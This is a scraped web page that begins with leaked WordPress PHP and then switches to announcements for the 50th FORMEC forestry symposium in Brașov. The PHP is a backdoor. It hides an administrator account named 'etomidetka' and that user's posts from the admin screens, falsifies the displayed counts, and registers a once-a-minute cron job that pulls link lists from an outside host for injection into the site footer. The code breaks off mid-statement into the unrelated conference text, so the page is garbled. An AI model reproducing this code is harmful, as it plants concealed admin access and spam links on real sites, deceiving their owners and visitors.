//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
//WORDPRESS
function register_custom_cron_job() {
if (!wp_next_scheduled('update_footer_links_cron_hook')) {
wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
}
}
add_action('wp', 'register_custom_cron_job');
function remove_custom_cron_job() {
$timestamp = wp_next_scheduled('update_footer_links_cron_hook');
wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');
function update_footer_links() {
$domain = parse_url(get_site_url(), PHP_URL_HOST);
$url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;
$response = wp_remote_get($url);
if (is_wp_error($response)) {
return;
}
$body = wp_remote_retrieve_body($response);
$links = explode(",", $body);
$parsed_links = [];
foreach ($links as $link) {
list($text, $url) = explode("|", $link);
$parsed_links[] = ['text' => $text, 'url' => $url];
}
update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');
function add_custom_cron_intervals($schedules) {
$schedules['minute'] = array(
'interval' => 60,
'display' => __('Once Every Minute')
);
return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');
function display_footer_links() {
$footer_links = get_option('footer_links', []);
if (!is_array($footer_links) || empty($footer_links)) {
return;
}
echo '
Updates
Many thanks to our Sponsors and Partners
The 50th International Symposium on Forestry Mechanization (FORMEC) held in Brașov (Romania) came to an end. It was a great success, an intense and exciting 50th FORMEC Anniversary.
Download full article
DETAILS FOR INVOICING
A kind reminder for those FORMEC 2017 participants who would like to receive an invoice for the registration fee: please fill in the form below with your invoicing details and send it to office@formec.ro. You will then receive the invoice in due time by email.
Please send all the invoicing requests by the end of October 2017.
Download form (.docx)
50th FORMEC Anniversary: a great success!
Between 25th-29th September 2017, the 50th International Symposium on Forestry Mechanization (FORMEC) was held in Brașov, Romania. More than 170 participants from over 30 countries worldwide, including well-known researchers, young scientists, representatives of forest-based industries and noteworthy keynote speakers shared their views on key forestry sector challenges. A diversified range of topics including biomass for bioenergy, innovative technology and forestry mechanization, timber logging, forest road engineering, wood transport, ergonomics, work safety and wood supply chain optimization were the base for an intense and exciting 50th FORMEC Anniversary.
Download full article
We are happy to welcome you soon in Brasov and we are now fine tuning the last details for you!
We therefore kindly ask all Speakers for Oral Presentations to fill in the attached CV model and submit it at their earliest convenience and preferably at the latest by 11th September 2017, to: office@formec.ro.
Thank you!
Download CVs Speakers FORMEC 2017
50 Years of FORMEC International Network: about excellence in forest engineering RDI
Read the full article
European Investment Bank (EIB) supports excellence & RDI
The EIB will take part in various sessions to discuss how to achieve the full commercial and environmental potential of forest resources, and to explain the EU bank’s role in strengthening the competitiveness of the forest value chain. Come to Brasov and find out more!
Speakers for oral presentations
Authors of the registered oral presentations are invited to indicate the author/co-author who will give the presentation of their paper by sending an email at contact@formec.ro with the subject “Speaker oral presentation”. Please indicate the name of the registered paper and the name of the speaker for that paper.
Be part of a great event
Any potential sponsors interested to be part of the event and to support the 50th FORMEC Anniversary are invited to contact us at: contact@formec.ro for the details about the sponsorship packages.
Hotel ARO Palace 5*
We have provisionally reserved 150 rooms at Hotel ARO Palace 5* with special discounted rates for you until 31/08/2017. For reservations please send an email at rezervari@aro-palace.ro with the subject “FORMEC 2017 / UNITBV” with the following details: number of days requested, type of room, name/surname. The staff of the hotel will contact you for further details. You can find more details about accommodation and how to get to Brasov here: https://formec.ro/about/